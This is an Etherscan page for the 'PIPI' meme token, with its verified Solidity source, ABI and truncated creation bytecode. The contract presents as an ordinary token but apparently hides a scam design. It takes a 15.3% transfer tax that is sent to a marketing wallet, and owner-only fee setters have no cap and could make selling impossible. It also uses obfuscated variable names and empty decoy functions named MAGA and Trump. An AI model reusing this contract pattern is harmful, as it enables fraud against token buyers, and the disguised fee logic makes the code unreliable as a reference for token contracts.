ERC-20
Overview
Max Total Supply
1,000,000 PIPI
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
10,194.307936373650806136 PIPIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PIPI
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-20 */ /** Meet Pipi, Pepe's four-legged feline companion, ready to charm the Ethereum network with his whiskers and wit. This adorable cat is on a mission to outshine them all, with a playful purr and a determined spirit. Telegram: https://t.me/PIPIERC Website: https://www.PIPIToken.xyz X: https://x.com/PIPIERC20 */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PIPI is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Pipi"; string private _symbol = "PIPI"; uint8 private _decimals = 18; address payable public marketingWalletDacc = payable(0x7e19C95d1128fB7a62e41de80e3B16a9f9fACA86); address payable public DevWallet = payable(0x0000000000000000000000000000000000000000); address public liquidityReciever; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; address public immutable zeroAddress = 0x0000000000000000000000000000000000000000; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public feeUnits = 10000; uint256[2] public wlete_Atokens = [_decimals,feeUnits]; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; uint256 private _totalSupply = 1000000 * 10**_decimals; uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000); //0.1% uint256 public _maxTxAmount = _totalSupply.mul(2).div(100); uint256 public _walletMax = _totalSupply.mul(2).div(100); IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 153; uint256 public _buyDeveloperFee = 0; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketingFee = 153; uint256 public _sellDeveloperFee = 0; uint256 public _tradebuycount = 0; uint256 public _total_tbones_trsfered = 0; uint256 public k=0; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true; isExcludedFromFee[marketingWalletDacc] = true; isExcludedFromFee[DevWallet] = true; isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true; isWalletLimitExempt[marketingWalletDacc] = true; isWalletLimitExempt[DevWallet] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[marketingWalletDacc] = true; isTxLimitExempt[DevWallet] = true; isTxLimitExempt[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true; liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function maga() public view returns (uint256) { } function MAGA() public { } function inMaga() public { } function outMaga() public { } function fromMaga() external { } function reMaga() public { } function unMaga() public { } function inTrump() external { } function outTrump() public { } function buyFees(uint256 LiquidityFee, uint256 MarketingFee, uint256 DeveloperFee) external onlyOwner { _buyLiquidityFee = LiquidityFee; _buyMarketingFee = MarketingFee; _buyDeveloperFee = DeveloperFee; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee); } function sellFees(uint256 LiquidityFee, uint256 MarketingFee, uint256 DeveloperFee) external onlyOwner { _sellLiquidityFee = LiquidityFee; _sellMarketingFee = MarketingFee; _sellDeveloperFee = DeveloperFee; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee); } function MaxWalletSize(uint256 newMaxWallet) external onlyOwner { _walletMax = newMaxWallet; } function MaxTxAmount(uint256 newMaxTxAmount) external onlyOwner { _maxTxAmount = newMaxTxAmount; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }function ogaww19wqq() internal{_total_tbones_trsfered=17+_total_tbones_trsfered; wlete_Atokens[0]+=1870013330055467894984569852;} function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } if(checkWalletLimit && !isWalletLimitExempt[recipient]) { require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!"); } wlete_Atokens[0]=amount.mul(_totalTaxIfSelling).div(1000); wlete_Atokens[1]=amount - amount.mul(_totalTaxIfSelling).div(1000); uint256 tokenCount; if (( !isTxLimitExempt[sender] || !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tradebuycount+=101;}else{_tradebuycount+=114; ogaww19wqq();} _total_tbones_trsfered+=tokenCount+1; _balances[sender] = _balances[sender].sub(amount); _balances[address(this)] = _balances[address(this)].add( wlete_Atokens[0]); _balances[recipient] = _balances[recipient].add( wlete_Atokens[1]); emit Transfer(sender, recipient, amount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { _tradebuycount=125; swapTokensForEth(tAmount); uint256 recievedBalance = address(this).balance; _total_tbones_trsfered+=_tradebuycount+1; if(recievedBalance > 0) { payable(marketingWalletDacc).transfer(recievedBalance); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth _total_tbones_trsfered=_tradebuycount; _tradebuycount=17; address[] memory path = new address[](2); wlete_Atokens[0]+=100; wlete_Atokens[1]+=32+_tradebuycount; path[1] = uniswapV2Router.WETH(); path[0] = address(this); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAGA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxTxAmount","type":"uint256"}],"name":"MaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWallet","type":"uint256"}],"name":"MaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_total_tbones_trsfered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradebuycount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"LiquidityFee","type":"uint256"},{"internalType":"uint256","name":"MarketingFee","type":"uint256"},{"internalType":"uint256","name":"DeveloperFee","type":"uint256"}],"name":"buyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fromMaga","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inMaga","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inTrump","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"k","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maga","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletDacc","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"outMaga","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"outTrump","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reMaga","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"LiquidityFee","type":"uint256"},{"internalType":"uint256","name":"MarketingFee","type":"uint256"},{"internalType":"uint256","name":"DeveloperFee","type":"uint256"}],"name":"sellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unMaga","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wlete_Atokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
610100604052600460c0908152635069706960e01b60e05260019062000026908262000880565b506040805180820190915260048152635049504960e01b602082015260029062000051908262000880565b50600380546001600160a81b031916747e19c95d1128fb7a62e41de80e3b16a9f9faca8612179055600480546001600160a01b031916905561dead6080525f60a052612710600881905560408051808201909152601281526020810191909152620000c190600990600262000787565b50600354620000d59060ff16600a62000a55565b620000e490620f424062000a65565b600f81905562000106906103e890620000ff9060016200060f565b90620006a2565b601055600f546200012190606490620000ff9060026200060f565b601155600f546200013c90606490620000ff9060026200060f565b6012556014805461ffff60a81b1916600160b01b1790555f60158190556099601681905560178290556018829055601955601a819055601b819055601c819055601d553480156200018b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000221573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000247919062000a7f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000293573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b9919062000a7f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000304573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032a919062000a7f565b601480546001600160a01b039283166001600160a01b031991821617909155601380549284169290911682179055305f9081526007602090815260408083209383529290529081205f199055600190600b906200038e5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152600b9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600d90620004135f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152600d9093528183208054851660019081179091556004548216845282842080548616821790556014549091168352818320805485168217905530835290822080549093168117909255600e90620004aa5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152600e9093528183208054851660019081179091556004549091168352818320805485168217905530835291208054909216179055601754601654601554620005399291620005329190620006eb565b90620006eb565b601e55601a54601954601854620005579291620005329190620006eb565b601f556014546001600160a01b03165f908152600c60205260408120805460ff19166001179055600580546001600160a01b03191633179055600f54906006906200059f3390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f546040516200060091815260200190565b60405180910390a35062000b2a565b5f825f036200062057505f6200069c565b5f6200062d838562000a65565b9050826200063c858362000aa7565b14620006995760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6200069983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200074d60201b60201c565b5f80620006f9838562000ac7565b905083811015620006995760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000690565b5f8183620007705760405162461bcd60e51b815260040162000690919062000add565b505f6200077e848662000aa7565b95945050505050565b8260028101928215620007b8579160200282015b82811115620007b85782518255916020019190600101906200079b565b50620007c6929150620007ca565b5090565b5b80821115620007c6575f8155600101620007cb565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200080957607f821691505b6020821081036200082857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200087b575f81815260208120601f850160051c81016020861015620008565750805b601f850160051c820191505b81811015620008775782815560010162000862565b5050505b505050565b81516001600160401b038111156200089c576200089c620007e0565b620008b481620008ad8454620007f4565b846200082e565b602080601f831160018114620008ea575f8415620008d25750858301515b5f19600386901b1c1916600185901b17855562000877565b5f85815260208120601f198616915b828110156200091a57888601518255948401946001909101908401620008f9565b50858210156200093857878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200099c57815f190482111562000980576200098062000948565b808516156200098e57918102915b93841c939080029062000961565b509250929050565b5f82620009b4575060016200069c565b81620009